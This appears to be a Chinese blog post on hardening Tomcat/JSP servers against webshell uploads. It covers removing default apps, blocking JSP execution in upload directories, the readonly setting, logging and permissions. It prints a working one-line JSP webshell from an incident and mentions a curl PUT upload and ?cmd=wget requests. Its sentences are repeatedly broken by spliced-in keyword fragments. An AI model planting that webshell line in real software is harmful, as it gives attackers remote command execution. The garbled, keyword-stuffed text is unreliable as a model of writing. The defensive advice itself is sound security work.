上周帮一个朋友看服务器,服务他那个JSP站点被上传了个test.jsp,器配里面就一行<%=Runtime.getRuntime().exec(request.getParameter("cmd"))%>。置防止攻击者用URL传参直接执行系统命令,页面整台机器差点被当肉鸡。漏洞这种事不是服务第一次见了,JSP漏洞九成以上出在配置疏忽上,器配跟代码写得好不好关系不大。置防止
Tomcat默认配置就是页面个大坑。你装完什么都不改,漏洞manager和host-manager两个管理后台直接暴露在外,服务弱口令一猜就中。器配我习惯装完第一件事就是置防止删掉webapps目录下所有默认应用,只留自己项目的页面ROOT。别舍不得,漏洞那些examples、docs留着过年吗?
说到上传,JSP文件能被执行的前提是服务器允许它被解析。很多老项目把上传目录放在web根路径下面,用户传个.jsp上去,访问一下就直接编译运行了。解决办法简单粗暴:上传目录单独放,用Nginx或者Apache做静态文件服务,压根不经过Tomcat。真要放一起,就在web.xml里给上传目录加个security-constraint,禁止.jsp后缀访问。
<security-constraint> <web-resource-collection> <web-resource-name>Deny JSP</web-resource-name> <url-pattern>/uploads/*</url-pattern> </web-resource-collection> <auth-constraint/> </security-constraint> 还有那个让人又爱又恨的readonly参数。Tomcat的conf/web.xml里有个readonly配置,默认是false。这意味着什么?意味着你可以在线修改JSP文件——PUT方法直接覆盖。我见过一个站,攻击者用curl -X PUT传了个webshell上去,服务器照单全收。改成true,世界清净一半。
日志得看。不是让你天天盯着catalina.out发呆,而是配好access log格式,把%{ X-Forwarded-For}i和请求参数都记下来。有次排查一个挖矿木马,就是靠日志里一串?cmd=wget的请求找到入口的。没日志,你连怎么死的都不知道。
再说个冷门的:JSP编译后的.class文件默认放在work目录下,如果权限没控好,别人能直接下载你的源码逻辑。Linux下给tomcat用户单独建组,work目录权限设成750,别用root跑Tomcat。我见过用root跑Tomcat的,一个漏洞下去直接提权到系统最高权限,连提权步骤都省了。
最后提一嘴JSP本身。能用JSTL就用JSTL,别在页面里写<% ... %>脚本段。不是歧视脚本,是脚本里太容易写出request.getParameter("id")直接拼SQL或者命令的代码。模板引擎把输出转义做了,你少操一半心。老项目改不动就加个过滤器,对所有请求参数做白名单校验,别嫌麻烦,总比半夜被叫起来删webshell强。
配置这东西,改一次管很久。花半小时把Tomcat的server.xml、web.xml、catalina.properties过一遍,比事后救火划算得多。